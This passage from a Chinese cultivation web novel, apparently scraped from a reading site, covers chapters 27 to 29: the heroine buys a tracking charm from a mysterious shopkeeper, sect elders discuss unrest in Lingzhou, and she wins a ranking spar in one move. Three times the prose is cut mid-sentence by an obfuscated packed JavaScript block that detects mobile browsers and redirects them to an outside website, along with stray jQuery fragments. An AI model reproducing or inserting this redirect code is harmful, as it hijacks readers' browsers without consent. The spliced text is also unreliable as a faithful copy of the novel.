“对了,还有这个。”沈玄宁手一翻,又取了一个白玉瓶出来,“这是洗心玉的粉末,一整块的灵气太盛你承受不住,所以我就给你磨成了粉,日后你每隔七天取一小勺泡澡,泡的时候在里面打坐修炼,可温养你的经脉,日后修炼也会更顺畅些。” “谢谢宁宁,我都记着了。”赵琳琅直接就把手镯给带上了,这都是为了她好自然不会扫兴推辞,她又问道,“吉利他现在怎么样了?” “挺好的,他虽不是素问峰主的亲传弟子,但是在玲珑峰尹师兄对他也会照拂一二,你放心好了,回去我就告诉他你已经回来了,等他突破筑基期,便有机会下山来看你了。” 赵琳琅一听,脸上露出一个放心的笑容:“那就好!尹师兄他真是个大好人!他做的那个风扇,我给我娘他们也买了一个,冬暖夏凉的可好了。” 二人正说着话,包间门就被轻轻推开了,小二端着沉甸甸的托盘来上菜了,后面又陆陆续续来了好几趟,不过半盏茶的功夫,原本空荡荡的八仙桌就被摆满了。 “姑娘,您点的菜这就来齐了!”小二动作麻利。 沈玄宁看着满桌热气腾腾的菜,下意识挠了挠耳朵,小声嘀咕了一句:“上菜这么快,预制菜啊?” 赵琳琅没听清她的嘀咕:“宁宁你说什么?” “没什么。”沈玄宁摆手,夹了一筷子鱼肉到她碗里,“你快尝尝吧,这个看着就鲜。” 赵琳琅咬了一口鱼肉,细嫩的肉质裹着淡淡的咸鲜,瞬间眼睛亮了:“这个好吃诶!” 沈玄宁自己也尝了几口,每道菜都做得很用心,火候、调味都恰到好处,不愧是云山镇上数一数二的酒楼,味道确实撑得起招牌。 她三个月没正经吃过东西,全靠灵力辟谷撑着,此刻闻到满桌香气,干脆彻底敞开了胃口,夹菜的动作又快又稳,半点不含糊。桌上的菜以肉眼可见的速度减少,好几个盘子转眼就见了底。 赵琳琅坐在对面,手里的筷子都慢了半拍,眼神直愣愣地盯着沈玄宁面前摞起的空碟,虽然早就习惯了她胃口惊人,可这三个月没见,她个子长高不少,食量也涨了许多。 沈玄宁低头扒完了碗里最后两口饭,端起茶杯喝了一口:“时间还早得很,一会儿我们去逛逛街呀,给你买些生活吃用囤在铺子里,我顺便也买些好吃好玩的东西回去,给我师兄师姐他们。” 说是要逛街,走在街上的时候,沈玄宁的神识却已密密麻麻地散开,悄无声息地扫过大半条主街。 这云山镇不愧是逍遥宗脚下最热闹的人间集市,仅刚才那一瞬的神识探查,沈玄宁就有了不少意外发现,沿街各种热闹的铺子客流如织,可隐在其中的气息却半点不简单。 她能清晰感应到,光她附近这一片区域就有不少修士的气息,其中就有三道气息明显比自己强,要知道她如今已是筑基大圆满,距离金丹仅一步之遥,能稳压她一头的,起码得是实打实的金丹期修士。还有好几股气息若有若无,像被浓雾裹着似的,她的神识连边缘都弹不出来。 沈玄宁暗自吃惊,看来这云山镇果然卧虎藏龙,不光有逍遥宗往届的外门弟子,还有不少大隐于市的高人。 逍遥宗作为顶尖仙门,向来是各方势力关注的焦点,鱼龙混杂的人借着人间闹市的幌子混迹其中也是寻常事。 想到这里,沈玄宁立刻收回神识,同时将周身的灵力敛得一丝不剩,用神识探查他人本就不太礼貌,尤其周围 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沈玄宁点点头,朝着杂货铺走去。她在门口顿了顿,撩开门帘时特意放轻了动作,铺子里面果然和外面看着一样小,这样的空间里还摆着一个大柜台占地方,柜台里面坐着一个白胡子老者正在闭目养神,看着倒是十分面善。 沈玄宁试探着上前喊了一句:“老伯。” 老者缓缓睁开眼睛,看似浑浊的目光落在沈玄宁身上,不知道为什么沈玄宁心里忽然泛起一丝奇怪的熟悉感,但又抓不到源头。 老者没有起身的意思,只慢悠悠地问道:“小姑娘,你要买什么?” 沈玄宁笑了:“您这儿,卖什么呢?” 那老者也是冲她一笑:“我这儿,有好东西。” 沈玄宁:“……” 他又道:“卖你想要的东西。” 沈玄宁奇道:“老伯知道我想要什么东西?” “自然知道。”他抬起枯瘦的右手,掌心向上轻轻一抬,一段翠绿的柳条便凭空浮现在掌心,枝条上还沾着几簇雪白的絮状物,看似要飘起来,却始终稳稳停在他手心里。 “这个,你可要?” 老者指尖轻轻拨了拨柳条,柳絮簌簌轻颤,却没落下一片。 沈玄宁看着那截柳条笑道:“老伯是要折段柳条来卖钱?” “无踪絮,形似春日柳絮,无声无息,沾衣附体……”他说到这里故意顿住,他看着沈玄宁的脸,果然见她脸上的笑意瞬间褪去,脸色一点点沉了下来,眼底浮出一些惊色。 沈玄宁在心里默默替他补上了后面的内容:“千里觅影,万里追踪。” 这法宝她在《法宝名录》上见过介绍,在外门三年,闲来无事的时翻来覆去她把整本书都快背下来了。 一旦柳絮沾在目标身上,只要握着本体柳条,哪怕隔着千山万水,都能随时感应对方的一切动向。 若是有这个东西,倒是能随时监视季时雨的动向了。 这老伯竟没说错,她确实是需要这个东西。 可是她要这个东西是为了监视季时雨以保证系统任务不失败,他又为什么会知道呢? 沈玄宁道:“你是谁?” 她面上看似镇定,心里却在狂敲系统,但是系统还是和往常一样,一点回应都没有。 27.我找不开 那老者见沈玄宁周身气息骤然冷下来,眼神里还藏着警惕,反倒笑了:“小姑娘,老头子谁也不是,就是一个守着这杂货铺的糟老头。” 他抬起浮着无踪絮的那只手:“这东西,你是要还是不要?” 沈玄宁默不作声地站了片刻,想开了。 管他是谁,反正这东西她就是有用,先拿了再说。 沈玄宁道:“多少钱?” 老者道:“一文钱。” 沈玄宁:“……” 老者见她僵在原地,竟然直接从藤椅上站了起来,不可思议道:“怎么,你连一文钱都没有?” “没有。”沈玄宁嘴角抽了抽,她默默从储物袋里摸出一锭五两重的银子,这已经是最小的了,“老伯,这您找得开吗?” 老者直接厚着脸皮改价:“找不开,不过看你也是诚心想要,那这无踪絮,就卖你五两吧,算你捡便宜了,小姑娘。” 沈玄宁不置可否。 法宝能用普通银钱买到,哪怕五百两她都是赚的。 沈玄宁把银子递了过去,又问道:“老伯,您还有什么东西卖么?” 老者接过银子,利落地塞进腰间拍了拍,才慢悠悠开口:“小姑娘,今日可没别的了。我这铺子的东西讲究个缘法,不是天天都有的,等下次有缘,你再来碰碰运气吧。” 沈玄宁也没继续问,毕竟能拿到无踪絮已经是意外之喜,她对着老者拱了拱手:“那晚辈今日就先谢过老伯,改日有缘再来拜访。” “走吧走吧。”老者摆了摆手,又坐回了藤椅上,一副昏昏欲睡的样子地阖上了眼,“老头子我要休息了。” 沈玄宁没再多留,转身撩开门帘走了,门帘落下的瞬间,原本靠在藤椅上的老者睁开了眼睛,方才还浑浊的瞳孔瞬间变得清明。 他看着沈玄宁离去的背影,竟是无奈地笑了笑。 回到小摊上,赵琳琅还在选东西。 “宁宁,你回来了!”见沈玄宁走近,赵琳琅立刻举起手里的东西问道,“你看这两个哪个好看?我好纠结。” “都好看啊,都买了吧。”沈玄宁递了一锭银子给小贩。 那小贩是个年轻小伙,见了这沉甸甸的银子,顿时苦起了脸,连连摆手:“姑娘,这、这我可找不开啊!我这小摊本小利薄,平日里收的都是几文、几十文的铜钱,哪有这么多银子找您?” 沈玄宁默默收回了手,把抓着银子的手缩回到了袖子里,她怎么就忘了,这里是古代,并不是故意碎了纸币会犯法的时候,这钱是银子啊,她完全可以当场碎开。 想到这里她直接在手心里用灵力把银子给碎了,然后递了一个小的过去:“这能找开了吧?琳琅再多买几个吧。” 小贩喜笑颜开:“能的能的,多谢姑娘。” 买到了无踪絮,沈玄宁现在迫不及待想回山上,然后想办法给季时雨装上这随身监控。但是她还是得先把这后续的事情都交代一番。 沈玄宁一边画着简单的图纸一边交代道:“铺子开门倒不着急,你先在镇上寻几个靠谱的工匠,把铺子好好整修一遍,布局就按照我这个图纸来就行了,不用太急着赶工,让他们仔细些。不过最近你也别太累,先把自己要住的地方好好布置布置,闲着玩耍几天也行。” 她又道:“至于开店要卖的书,你不用操心,我来想办法,你可以先去其他书铺逛逛,看看市面上常用书的纸是什么质地,然后帮我采买一批回来。” 赵琳琅听得连连点头:“宁宁你放心吧。” 第一批书沈玄宁不打算去找外面的书局来印,一来是目前黄金楼也没什么影响力,其他大书局运作肯定比她们目前这半吊子成熟,到时候先她一步在市面上大批量售卖就不好了,二来修仙世界的灵力本就有诸多妙用,与其依赖别人,不如自己动手。她回去研究研究聚灵阵,直接用来印刷这些诗词小说。 沈玄宁点点头,又和她核对了一遍整修铺子的细节,确认没有遗漏后,才回了山上。 大晚上一个人在屋里,她又开始琢磨起了聚灵阵印书的操作,玲珑峰的聚灵阵妙用无穷,最精妙之处在于能将游离的天地灵气转化为多种能量形态,基本上可以代替现代世界如动能、热能、光能等等大多数的能量。 如果想用来印书,核心就是要琢磨一个无限次变换内容的活字聚灵阵模版,这套模版不仅要实现各种字的灵活组合,更得具备识别现代书籍文本的能力,让聚灵阵真正替代手工排版的繁琐。 沈玄宁觉得自己有了个模糊的思路,但是琢磨出来还要一段时间,尹文霜从前给她开了不少小灶,如今琢磨琢磨她觉得把这种聚灵阵画出来问题不大,至少大方向是清晰的。 目前最重要的是先要监视上季时雨,第二天她想着碰碰运气又御剑去了符天峰,在万象碑附近果然又看到了鬼鬼祟祟的季时雨。 沈玄宁悄悄放慢脚步,指尖从储物袋里摸出无踪絮,小心捻下一片柳絮沾在指尖,不仔细看根本察觉不到。 她收敛气息绕到季时雨身后,抬手轻轻拍了拍他的后背,那片柳絮便是悄无声息沾在了他的衣料上,下一秒融到了里面,就算他换衣服,这无踪絮也会如影随形。 沈玄宁收回手,语气随意:“好巧啊,季师弟。” 季时雨被这突如其来的声音吓了一跳,猛地转过身,看到是沈玄宁时,脸色瞬间一变,眼底闪过一丝慌乱,却又很快掩饰过去:“你怎么在这儿?” 沈玄宁把他的反应看在眼里,故意挑眉反问:“我还想问你呢,你怎么又在这儿?怎么,你也来抢方师叔的任务吗?” “我没你那么无聊。”季时雨白了她一眼,也不做什么停留,转身就下了符天峰。 “那你有多无聊啊?” 季时雨哼了一声没有回头,结果不远处符天峰的万象碑处又爆发出一阵熟悉的动静。 “来了来了!!!!” “快抢啊!!!” 这是方不夷又点外卖了。 其实有时候方不夷也是很冤枉,就比如今天,其实并不是他饿了,他的院子里此刻正坐着两个人。 方不夷道:“你俩要吃东西,能不能自己去发个师门任务?” 曲无忧坐在躺椅上悠闲地摆摆手:“师弟,你这话就不对了。反正你在宗内形象已经深入人心了,以你的名义去还是更妥当些。” 坐在桌边喝茶的迟非晚难得地表示支持曲无忧:“嗯。” 方不夷:“……” 这师门任务看着是每天无厘头地帮方不夷送外卖,实则是宗内默许的新手福利,一般修为高的弟子是不会来抢这个的,这个师门任务算是给修为尚浅的弟子们送逍遥令的趣味途径。 鹤游自然是同意此事,到了后面几位峰主都默认以后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232456|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便是隔三差五用方不夷的名义发师门任务,久而久之就成了符天峰特有的每日隐藏任务。 其中最常来符天峰点外卖的就是曲无忧和迟非晚。 方不夷道:“你俩天天见面就掐,在我这里倒是和谐。” 曲无忧一听,夸张地叹了口气道:“冤枉,我一个化神期,跟她一个马上就要步入炼虚期的,只有纯纯被欺负的份儿好吗?” 迟非晚淡淡地抬眼,曲无忧下意识地闭了嘴,悄悄挪了挪身下的躺椅,离迟非晚远了些。 方不夷看了看摊在面前一些还没发下去的师门玉简,起了个话头:“这两日,我瞧着师门任务往符天峰发的,都是在灵州那个方向的,怕不是有什么异动。” 迟非晚闻言皱眉道:“玄慈和秋序他们去灵州镇压妖兽,还没回来?” 方不夷道:“按说也该回来了,莫不是那边的情况比想象中棘手?不过灵州最近确实有些不太平,那边的灵脉波动有些异常,而且还有些来历不明的修士出没。” 迟非晚眼神一凛:“来历不明的修士?难道是有邪修在搞鬼?” 方不夷指尖摩挲着桌角,语气沉了几分:“这些年四派联合整顿邪修,确实清剿了不少余孽,如今修真界太平不少。可邪修惯会躲在暗处蛰伏,谁也难保他们不会借着这几年的空隙卷土重来。” 他顿了顿,眉头皱得更紧:“灵州那边灵脉纵横,虽不如四派灵脉精纯,却有不少未经炼化,最容易被邪修用来炼制阴邪法器,他们若是想东山再起,灵州那边确实是最有可能的地方。” 曲无忧坐起身道:“栖霞峰新一轮的弟子外出历练马上就要开始了,正好借着这个机会,让他们多往灵州方向探探,反正这外出行医历练的规矩本就是人人皆知,让一部分人往灵州去,合情合理,不会引起任何人的怀疑,就算真有邪修在那边盯着,也只会当是寻常弟子历练。” “那就拜托师兄费心了。”方不夷说着话锋一转,又问道,“说来这次内门大考,师兄可是收了个好弟子,灵州一事,或可让他去试试。” 迟非晚道:“你说谢疏言?” 曲无忧刚要接话,脸上先露出几分惋惜:“这次大考没收到天生金丹做弟子,确实有些可惜,不过……” 他话还没说完,就被迟非晚冷冷打断:“能别惦记天生金丹了吗?那已经是明师兄的弟子了。你教她?以她的天赋,不用百年修为怕是就要超过你了,到时候你就收拾收拾把栖霞峰峰主的位置让给她。” 这话一出,方不夷忍不住低笑出声,曲无忧又被噎了一下,习以为常地立刻反驳:“师妹你又攻击我。” 迟非晚道:“攻击你又怎么了?逍遥宗九峰里面,唯一一个化神期,你自己不嫌丢人吗?” 曲无忧厚着脸皮道:“我不丢人啊,化神期也很不容易了好不好。” 他又继续道:“小言的木灵根极其精纯,所以他的灵力拥有极强的创愈之力,哪怕他不修炼当个普通人,他的寿数也会比寻常凡人更长些。而且他自身对于任何伤害的愈合力也是很惊人的,最关键的是他这样的创愈之力,还能用在他人身上。” “这简直就是为我栖霞峰而生的弟子啊。” 迟非晚凉凉开口:“还随了你那招蜂引蝶的长相,倒还真是该当你徒弟。” 曲无忧道:“师妹你这话就不对了,我几时就招蜂引蝶了……” 28.内门排榜 冷玄明今日想起了一件事,或者说,他终于想起了这件事。 沈玄宁歪着头疑惑道:“内门排榜?” 冷玄明道:“是啊,内门有各种排行榜,就在太极广场那边,你来的时候难道没瞧见?” “没瞧见,刚来的时候太过兴奋,没注意到这些细节,后来每次路过太极广场那边都没细看。”沈玄宁点点头,想起了原著上的一些介绍。 逍遥宗内门不同于外门那样只专注灵力的提升,内门弟子更讲究全方位的发展,也正因如此,宗门特意设了各类排行榜,既是为了激发弟子间的良性竞争,也能让一些在单一方面有天赋的弟子得到更多相对应的资源倾斜,不过这些榜单并非强制参与,全凭弟子自愿报名。 内门的排行榜种类繁多,比如修为榜、神兵榜、法宝榜、灵兽榜等等,甚至还有个师门任务完成数量榜。 如果不想暴露自己拥有的法宝灵兽,也可以选择不报名,那自然也不会上榜。 但上榜的好处实实在在,每个月宗门都会根据排名发放一些奖励,比如灵石、丹药之类的。也正因这些好处,不少弟子都愿意主动报名,借着榜单展现实力,同时也能获取一些资源。 当然修为榜那一类的榜单,大多数刚入门的弟子自然是不能和一些修炼多年的弟子相比,所以相对应的也设置了一些有利于新弟子的榜单,比如只有入门五年内可参与的新手榜、每月修为提升排行榜之类的。 在逍遥宗内门所有榜单里,最受所有弟子推崇的就是——常胜榜。 这榜单不看修为根基,不看法宝灵兽,只凭实打实的切磋胜负论高低,也是新入门的弟子打响名气最快的榜单,常胜榜的规矩也很简单,直接报名挑战在榜的同门,只要你能在切磋中赢了对方,对方立刻下榜,你取而代之,若是挑战者本身就在榜上有排名,那两人便直接交换名次。 在榜弟子不可避战,但为了避免有人车轮战消耗,每日最多只能接受三场挑战,当然如果被挑战者自己觉得还能再打的话就无所谓。挑战人数众多的时候,挑战顺序就有明确的优先级,按挑战者当前的排名高低来定,排名越靠前的挑战者,越有资格优先切磋。 沈玄宁道:“六师兄你的意思是,让我去参加常胜榜的排名?” “是啊。”冷玄明又摇了摇手指:“不过你少说了哈,是参加且最少进前百名。” 沈玄宁道:“六师兄,冒昧问下,现在第一百名是什么修为?” 冷玄明道:“金丹中期。” 沈玄宁:“……” 她震惊道:“开什么玩笑!一百名都金丹中期了,我怎么打!” 冷玄明委委屈屈道:“你不去试试怎么知道打不过。” 沈玄宁道:“敢问师兄你排名多少啊?” 提到这个,冷玄明一脸的冰冻表情:“我第七,但是我前面的两个人作弊。” 沈玄宁扬眉:“还有人作弊?你前面两个人是谁?” 冷玄明道:“老四第五,三师兄第六。” 沈玄宁道:“你是在说顺口溜吗?” 冷玄明愤慨道:“小师妹!你都不知道他们两个有多卑鄙无耻!我跟老四打赌谁先进前五,结果第五名就是三师兄,他竟然直接帮着作弊,当场就跟老四切磋然后输给他,一个元婴期后期会输给一个元婴初期?我请问到底谁会信!!害得我在太极广场上丢了整整一个月的人!” 沈玄宁好奇道:“四师兄让你做什么了?” 冷玄明一脸屈辱:“他、他让我在太极广场正中央,每天卯时去用扩音术大喊,我师兄林玄同是本门百年不遇的奇才,吾辈楷模,光芒万丈!” 沈玄宁听完立刻用力歪了歪嘴,试图把上扬的嘴角压下去,然后又死死咬住下唇不让自己笑出声,到最后憋得脸通红。 冷玄明斜了她一眼,道:“想笑就笑吧,你师兄我心胸很宽广的。” 沈玄宁一边笑一边摆手:“对、对不起,六师兄,我不是故意的。” 林玄同这个惩罚措施确实挺损的。 她笑了一会儿以后马上就转移了话题问道:“那排第一的是谁啊?” “还能是谁,你大师姐咯,常胜榜附近路过的狗都要被她踢一脚。”冷玄明道,“第二是大师兄,第三是坐忘峰的元清师兄,你应该认识他吧。” “元师兄啊,认识的。”沈玄宁倒是没注意书里讲内门排行榜这东西,根据现有信息掰着手头算了算:“所以那第四名,是五师兄?他这么厉害啊?” 冷玄明道:“玄慈确实厉害。虽然排行第五,但是修为在我们几个里面仅次于大师姐和大师兄,不过……” 他顿了顿又道:“哎呀,等你见着他你就知道了,我经常觉得他应该去戒律峰而不是来我们问剑峰,大师姐平时见了他头就特别大。” 沈玄宁没接话,反而摸着下巴低头思索,冷玄明见状上半身往后退开了些,问道:“你又在想什么馊主意?” “我在想……不是这个又从何来啊?” 沈玄宁抬手对着空气虚虚一招,破妄剑停在空中,“六师兄,你说我去参加那个神兵榜,岂不是每月稳拿奖励。” 冷玄明眼神真挚地问道:“小师妹,你不觉得这样,很没有素质吗?” 沈玄宁厚着脸皮:“不觉得。” 冷玄明指指点点:“无耻啊!你拿天下第一的神兵去混奖励,你!!” “行行行,不混了不混了。”沈玄宁指了指地上在吃草的大强,“那可以用它去混个奖励吗?” 冷玄明顺着她的指的方向瞥了眼大强,然后嗤笑一声,“区区二阶灵兽你还想上榜,想得挺美。能上榜躺着的最末席都要三阶灵兽。” 这话刚落,原本埋头干饭的大强忽然停下动作,小眼睛瞪了冷玄明一眼,看起来是听懂了。 它甩了甩粗短的尾巴,低下头把嘴里没嚼烂的草“呸”地一声吐在冷玄明面前,还故意用猪蹄碾了碾,随即扭着圆滚滚的身子,头也不回地走了。 沈玄宁忽然觉得从一头猪的背影里看出了几分不屑。 “神兵榜碍于素质不能去,灵兽榜因为太捞上不去。”沈玄宁叹了一口气,“六师兄,你帮我看看,我能去哪个榜躺点奖励。” 冷玄明皱着眉似是认真地想了半天,最后还是摇了摇头:“还真想不到,我平时也不研究这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236426|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些闲榜,反正你也别琢磨其他的了,就去打常胜榜,咱们问剑峰的不管怎么样得上这个榜吧。怎么样,要不师兄今日就带你去见识见识?” 沈玄宁把头摇得像拨浪鼓,懒洋洋地一瘫然后道:“我不去,我不喜欢跟人打架。” 冷玄明嫌弃道:“好歹是天生金丹,你怎么这么怂?” 沈玄宁:“那咋了,就是天生金丹现在不也是没到金丹期呢。” 冷玄明见她一副油盐不进的模样,只好道:“行了行了,那师兄来陪你下棋。” 第一盘冷玄明还没彻底了解五子棋的玩法,沈玄宁落子又快又准,不费吹灰之力,没用几颗子就赢了冷玄明。 第二盘沈玄宁依旧是吊打冷玄明。 第三盘冷玄明似是摸到了一些门道,但依然被沈玄宁吊打。 …… 第十盘下到一半,沈玄宁突然举手投降。 冷玄明盘腿坐在空中,支着脑袋看了半天映月湖上的棋盘:“你不是要赢了,怎么就投降了?” 沈玄宁一脸艰难道:“……不是我想投降,是我的灵力快撑不住了,再下一枚我就不行了。” 冷玄明:“……” 师兄妹二人最后还是去了太极广场。 因为刚收了棋盘,冷玄明的弟子令牌就亮了,常胜榜有人挑战第七名,按照规矩他得应战,于是他生拉硬拽地把他小师妹带过去了。 不去打架,只是去看看。 沈玄宁觉得这样还是可以的,主要她也想着去琢磨琢磨有什么其他的不显眼的躺赢榜可以混点奖励。 这一去看,还真让她发现了可以混上的闲榜。 太极广场的常胜榜周围,立着十块不小的光幕,每一块都泛着淡淡的莹光,光幕后方能看到淡蓝色的结界波动。 这是宗门专门为切磋设下的防护结界,上有聚灵阵的加持。 既能防止切磋时灵力外泄伤到人,又能让围观弟子看清里面的动静。 而且在这个结界内切磋所受的伤都是拟真的,出了这个结界,所有伤势都会消失,这样的好处就是双方可以随意掌控切磋时的力度。 这么强大的切磋结界,当然也是出自于玲珑峰。 等挑战双方踏入结界准备好后,光幕上便会自动浮现两人的信息:所属峰、修为境界,还有当前的常胜榜排名,一目了然。 冷玄明进了结界,沈玄宁趁着开始前准备的功夫四处扫了扫榜单。 除开最显眼的常胜榜,剩下榜单里面最引人瞩目的自然就是金灿灿的修为榜。 ·修为总榜· 第一名,问剑峰,莫玄春,元婴期大圆满。 第二名,坐忘峰,元 清,元婴期大圆满。 第三名,问剑峰,宋玄之,元婴期后期。 第四名,问剑峰,常玄慈,元婴期后期。 第五名,流云峰,蒋秋序,元婴期后期。 …… 修为榜前几名几乎要让问剑峰包圆了,最高的赫然是她大师姐莫玄春,她和沈玄清一样都是元婴期大圆满的修为。 但是沈玄清却不在榜单上,显然他并没有报名参与排榜。 29.一招秒杀 沈玄宁这边修为榜还没看完,冷玄明和对方的切磋就准备开始了。 她快步跑回常胜榜附近离得最近那个光幕,周围已经围了不少人,她混在人群里面听着旁边一些师兄弟的议论。 “嗨呀,又是冷七和管八!这俩三天两头地约一场,就这么对练不腻吗?” “下注下注啊,我还是买冷玄明赢啊。” “我也跟啊,压冷师兄!” “我也买冷玄明,我看管书珩这回还得栽,这是真赢不了吧?” 有人吐槽道:“赢不赢的我先不说,能不能给这俩禁赛啊,他俩不腻我都快看腻了!” “就是啊!”另一个人附和,“管师兄要不然换个人挑战吧,去打第五的林师兄啊!他跟冷师兄一样都是元婴初期,打不赢冷师兄,说不定能赢林师兄呢?” 显然有个新来的弟子不明状况:“那个……为什么不挑战第六名啊?跳过第五打第六,不是更顺吗?” 有人回道:“小师弟,新来的吧?第六名那可是宋玄之啊!跟元婴后期怎么打?完全没有胜算。” 新来的弟子恍然大悟,又追问:“那林师兄是怎么赢了宋师兄,坐到第五的?不是说他跟冷师兄一样是元婴初期吗?” “这个嘛,我就不知道了。” 沈玄宁听了一耳朵,看众人讨论的意思,今天六师兄要打的,是他的老对手啊? 很快光幕上出现了两方的信息。 【冷玄明,问剑峰,元婴初期,常胜榜第七名。】 对阵 【管书珩,流云峰,元婴初期,常胜榜第八名。】 俩人同为剑修,排名挨着,连修为境界都是一模一样。 结界内,冷玄明和管书珩隔着丈许距离站定,先是按宗门切磋的规矩,各自抬手行了个礼。行礼过后,二人也是没有废话直接就开打了,冷玄明切磋的时候倒不似平时那般嬉皮笑脸的,他颇为认真地同人过招。 “叮”的一声清响透过结界传出来,两道剑光碰撞的瞬间,光幕上甚至闪过一丝细微的灵力波动,显然两人都没留手,上来就用了实打实的剑招。 结界内的剑光闪得愈发频繁,叮叮当当的碰撞声透过光幕传出来,围观的人嘴上说着看腻了不想看了,但是真打起来了还是屏息凝神看得认真。 毕竟元婴期在内门弟子里已是顶尖修为,能看见两个元婴初期的剑修过招,对自身修炼也是有些好处的。 可也就半柱香的功夫,局势渐渐有了倾斜,管书珩虽剑招灵动但灵力却远不如冷玄明扎实。 拂尘剑法被冷玄明耍得直来直往,看似只用灵力强攻,但是却每次都精准挡下了管书珩的进攻,对方很快就有些跟不上节奏。 冷玄明抓住管书珩撤剑的间隙,手腕猛地一翻,手中的剑擦着管书珩的剑身滑过去,剑尖直指管书珩的肩颈,这一剑没带杀意,裹挟的灵力却是肉眼可见的强大,管书珩若是硬接,就得被灵力震得后退,若是躲闪,又会露出破绽。 果然,管书珩往后撤了半步,冷玄明已经收了剑势,剑尖停在离他领口三寸远的地方。 沈玄宁张着嘴有些惊叹,同样的拂心剑法,冷玄明使出来就和她用完全不一样,这就是元婴期的灵力么,以她如今筑基期大圆满的灵力,与之相较确实是云泥之别。 管书珩握剑的手紧了紧,盯着冷玄明看了两秒,收剑后退:“又输了,下次再来。” 冷玄明一秒唤回了他那不正经的表情,摆了摆手:“真不来了不来了,你找我大师姐去讨打好不好?她保准给你一顿好打。” 管书珩:“……” 两人先后踏出结界,刚落地,冷玄明就迫不及待地往沈玄宁的方向凑,一脸得意地挑眉:“怎么样,小师妹,你六师兄厉不厉害?” 人群里一个穿着紫色衣衫的女弟子,几步就冲到管书珩身边,伸手拉住他的胳膊道:“哥哥,你没事吧?” “管书珩,我可算看明白了!每次你输给我,就把你妹妹叫过来,欺负我没人是不是?”他一边说,一边伸手往旁边一揽,胳膊稳稳架在了沈玄宁的肩上,下巴还得意地抬了抬,“不过这回我也有人了,看见没,这是我小师妹。” “你小师妹?”管书珩对着沈玄宁拱了拱手,“破妄剑主,沈师妹,久仰大名了。” “管师兄,客气了。” 管书珩点点头又道:“不知道沈师妹可有参与常胜榜的排名?若是沈师妹有空,不如和小悦对战一场,也让她见识见识破妄剑。” 沈玄宁连连摆手:“不了不了,管师兄,我不擅打架。” 冷玄明侧身附耳道:“管书悦也就金丹初期的修为,你不若试试呢?” 沈玄宁抬眼看向冷玄明,他又眨了眨眼。 对方是金丹初期,试试,好像也不是不行啊? 自己如今虽没正式晋入金丹,但是体内已有金丹,而且神识也已达到了金丹修为。 沈玄宁就是一直不知道自己和真正的金丹期差多少,如今有对战结界在,反正不会受伤,倒真能借着这个机会试试水,摸清差距,说不得还能为进入金丹期的时间上做个估算。 冷玄明又道:“你试试呗。” 这么一想,沈玄宁原本紧绷的肩膀松了些:“那……我就试试?不过我没和人切磋过,还请管师姐多担待。” 管书悦倒是习以为常地笑了笑:“也请师妹手下留情。” 冷玄明伸手拍了拍沈玄宁的后背:“放心去,输了师兄也不笑话你!” 沈玄宁没理他的调侃,从腰间解下弟子令牌,和管书悦一起把令牌交给了常胜榜值守的师兄。 那师兄接过在玉牌上轻点两下,又还给她:“三号结界。” 谢过值守师兄后,沈玄宁握着令牌往三号光幕后面的结界走,刚踏入结界范围,就明显感觉到被一股柔和的灵力包裹住了,这个结界内竟然比广场上的灵气还要充裕,原先和冷玄明下棋时候托举凝霜棋子消耗的灵力在这儿竟然补齐了。 想来这上面的聚灵阵,会控制入内对战双方的灵力,力求双方都达到最佳状态。 她往前走了两步,更是惊讶地发现,结界外看着只有光幕那么大的范围,内里竟是个巨大的演武场。 管书悦从结界另一头进入,她看到沈玄宁正在东张西望地看,了然地道:“沈师妹可以先看看这结界,若是准备好了,便同我说。” 沈玄宁连忙道:“好了好了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247356|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>外面的光幕上也是出现了她们二人的信息。 【沈玄宁,问剑峰,筑基期大圆满,常胜榜无排名。】 对阵 【管书珩,流云峰,金丹初期,常胜榜第四百九十五名。】 沈玄宁学着对面的样子行了礼,抬手招了破妄剑悬停在空中,她拔剑出鞘,冰蓝色的剑光骤然亮起,让结界内的空气都泛起一丝冷意。 管书悦也拔了剑,是一把紫色灵力流转的仙剑。两人几乎同时踏前一步,她率先出招刺了过来,沈玄宁没有躲闪,反而握紧破妄剑,将丹田内的灵力尽数灌注剑身,冰蓝色的剑光瞬间暴涨几分。 沈玄宁抬手横剑,竟直接迎着对方的剑撞了上去! “铛!” 两剑相撞的瞬间,尖锐的金属鸣响透过结界传出,围观的众人都下意识屏住了呼吸。 下一秒,令众人惊掉下巴的一幕出现了。 管书悦只觉得一股强大的灵力顺着剑身传来,手腕被震得一麻,手中的剑竟被震得脱手飞出,她自己也踉跄着往后退了三步,才勉强站稳,看着沈玄宁的眼神满是难以置信。 一招! 筑基期秒杀金丹期! 结界外围观的众人都是发出了惊叹。 “什么情况啊!!!筑基打金丹的一招就结束了吗!” 